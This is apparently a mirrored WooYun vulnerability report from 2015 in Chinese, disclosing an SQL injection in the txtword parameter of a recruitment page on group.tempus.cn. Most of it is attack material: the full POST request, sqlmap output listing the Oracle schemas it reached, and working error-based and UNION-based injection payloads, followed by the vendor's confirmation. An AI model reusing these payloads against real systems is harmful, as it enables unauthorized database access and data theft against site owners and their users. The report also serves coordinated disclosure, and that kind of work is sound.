乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-02: 细节已通知厂商并且等待厂商处理中 2015-06-02: 厂商已经确认,细节仅向厂商公开 2015-06-12: 细节向核心白帽子及相关领域专家公开 2015-06-22: 细节向普通白帽子公开 2015-07-02: 细节向实习白帽子公开 2015-07-17: 细节向公众公开
我是来看看 还是不是 低 5分的 不争馒头争口气
这里跟几何老大讨论过 我跟他发现的不是一个点 所以没有重复POST注入点:
POST /pw/job2/UI/index_zp.aspx HTTP/1.1Host: group.tempus.cnContent-Length: 1897Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://group.tempus.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.0.595.32 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://group.tempus.cn/pw/job2/UI/index_zp.aspxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: cck_lasttime=1433121299794; cck_count=0; ASPSESSIONIDSCBCBTSQ=JJPFHBJBFNAPBMANLIJDDMGB__VIEWSTATE=%2FwEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuWFqOmDqAzmt7HlnLPnpo%2FnlLAV5rex5Zyz56aP55Sw5L%2Bd56iO5Yy6FQMADOa3seWcs%2Bemj%2BeUsBXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJnZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL%2BW3ruaXheeuoeeQhg%2Fkv6Hmga%2FmioDmnK%2FnsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL%2BW3ruaXheeuoeeQhg%2Fkv6Hmga%2FmioDmnK%2FnsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudAIHFg5mD2QWAmYPFQgCNDUDMTc4CeWHuuelqOWRmAMxNzgM6IW%2B6YKm5Zu96ZmFGuacuuelqC%2FphZLlupcv5beu5peF566h55CGFea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAIBD2QWAmYPFQgCNDYDMTc4GOWbvemZheacuuelqOmUgOWUruS7o%2BihqAMxNzgM6IW%2B6YKm5Zu96ZmFGuacuuelqC%2FphZLlupcv5beu5peF566h55CGFea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAICD2QWAmYPFQgCNDkDMTc4D1RNQ%2BmUgOWUrue7j%2BeQhgMxNzgM6IW%2B6YKm5Zu96ZmFCemUgOWUruexuxXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoCMTBkAgMPZBYCZg8VCAMxMDUDMTc4GOacuuelqOi%2FkOS7t%2BW9leWFpeS4k%2BWRmAMxNzgM6IW%2B6YKm5Zu96ZmFDOacuuelqOaTjeS9nAzmt7HlnLPnpo%2FnlLABMmQCBA9kFgJmDxUIAzEwNAMxNzgY5py656Wo5Zui6Zif6ZSA5ZSu5LiT5ZGYAzE3OAzohb7pgqblm73pmYUM5py656Wo5pON5L2cDOa3seWcs%2Bemj%2BeUsAEyZAIFD2QWAmYPFQgCNjYDMTc4Ek5FVOS4ree6p%2BW3peeoi%2BW4iAMxNzgM6IW%2B6YKm5Zu96ZmFD%2BS%2FoeaBr%2BaKgOacr%2BexuxXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoBMWQCBg9kFgJmDxUIAjY1AzE3OBNKQVZB5Lit57qn5bel56iL5biIAzE3OAzohb7pgqblm73pmYUP5L%2Bh5oGv5oqA5pyv57G7Fea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAILDw8WAh4EVGV4dGVkZAINDw8WAh4LUmVjb3JkY291bnQCB2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjGlXKtRVwCHefCl98%2FG%2B2%2BqBhTp1g%3D%3D&dpdcity=&dpdemployement=&txtword=123&ImageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=%2FwEWCwLVpbvIBQLQtOyFBwLOjKSFBwLBisL2DQLNg9C3CQK%2B84iYBgKi%2FeftCQLbtcaHCQKTnq3XCQKnm5arDQLSwpnTCGKxm945tO0%2Fyqqp5vojW7cpy472
参数 txtword 未过滤
[15:53:02] [INFO] fetching database (schema) namesavailable databases [10]:[*] ACCOUNT[*] CTXSYS[*] FLOWS_FILES[*] INSURE[*] JCPTJK[*] MDSYS[*] MOBILE[*] OLAPSYS[*] OUTLN[*] OWBSYS[15:53:03] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 16 times
sqlmap identified the following injection points with a total of 54 HTTP(s) requests:---Place: POSTParameter: txtword Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: __VIEWSTATE=/wEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuWFqOmDqAzmt7HlnLPnpo/nlLAV5rex5Zyz56aP55Sw5L+d56iO5Yy6FQMADOa3seWcs+emj+eUsBXmt7HlnLPnpo/nlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJnZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudGZkAgsPDxYCHgRUZXh0BaABPHNwYW4gICBzdHlsZT0nd2lkdGg6MTAwO2hlaWdodDoxMDA7Jz48dGFibGUgIGFsaWduPWNlbnRlciAgIHZhbGlnbj1taWRkbGUgICBoZWlnaHQ9Jzk5JSc+PHRkPjxmb250IGNvbG9yPSdyZWQnPuayoeacieS7u+S9leaVsOaNrjwvZm9udD48L3RkPjwvdGFibGU+PC9zcGFuPiAgIGRkAg0PDxYCHgtSZWNvcmRjb3VudGZkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24x4LSogHyNNVDEUIoOAtCV46NX3Zs=&dpdcity=&dpdemployement=&txtword=123%' AND 2381=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(104)||CHR(115)||CHR(113)||(SELECT (CASE WHEN (2381=2381) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(111)||CHR(99)||CHR(102)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='&ImageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=/wEWCwLQ1uetBgLQtOyFBwLOjKSFBwLBisL2DQLNg9C3CQK+84iYBgKi/eftCQLbtcaHCQKTnq3XCQKnm5arDQLSwpnTCCtxtOtAgggg/F9vOOatP9GLtHTP Type: UNION query Title: Generic UNION query (NULL) - 25 columns Payload: __VIEWSTATE=/wEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuWFqOmDqAzmt7HlnLPnpo/nlLAV5rex5Zyz56aP55Sw5L+d56iO5Yy6FQMADOa3seWcs+emj+eUsBXmt7HlnLPnpo/nlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJnZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudGZkAgsPDxYCHgRUZXh0BaABPHNwYW4gICBzdHlsZT0nd2lkdGg6MTAwO2hlaWdodDoxMDA7Jz48dGFibGUgIGFsaWduPWNlbnRlciAgIHZhbGlnbj1taWRkbGUgICBoZWlnaHQ9Jzk5JSc+PHRkPjxmb250IGNvbG9yPSdyZWQnPuayoeacieS7u+S9leaVsOaNrjwvZm9udD48L3RkPjwvdGFibGU+PC9zcGFuPiAgIGRkAg0PDxYCHgtSZWNvcmRjb3VudGZkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24x4LSogHyNNVDEUIoOAtCV46NX3Zs=&dpdcity=&dpdemployement=&txtword=123%' UNION ALL SELECT NULL,NULL,CHR(113)||CHR(113)||CHR(104)||CHR(115)||CHR(113)||CHR(77)||CHR(112)||CHR(76)||CHR(108)||CHR(72)||CHR(67)||CHR(72)||CHR(116)||CHR(76)||CHR(108)||CHR(113)||CHR(111)||CHR(99)||CHR(102)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &ImageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=/wEWCwLQ1uetBgLQtOyFBwLOjKSFBwLBisL2DQLNg9C3CQK+84iYBgKi/eftCQLbtcaHCQKTnq3XCQKnm5arDQLSwpnTCCtxtOtAgggg/F9vOOatP9GLtHTP---[15:53:02] [INFO] the back-end DBMS is Oracleweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Oracle
危害等级:中
漏洞Rank:10
确认时间:2015-06-02 09:53
感谢平台以及白帽子协助发现漏洞,我们以及协调项目组处理中!谢谢
暂无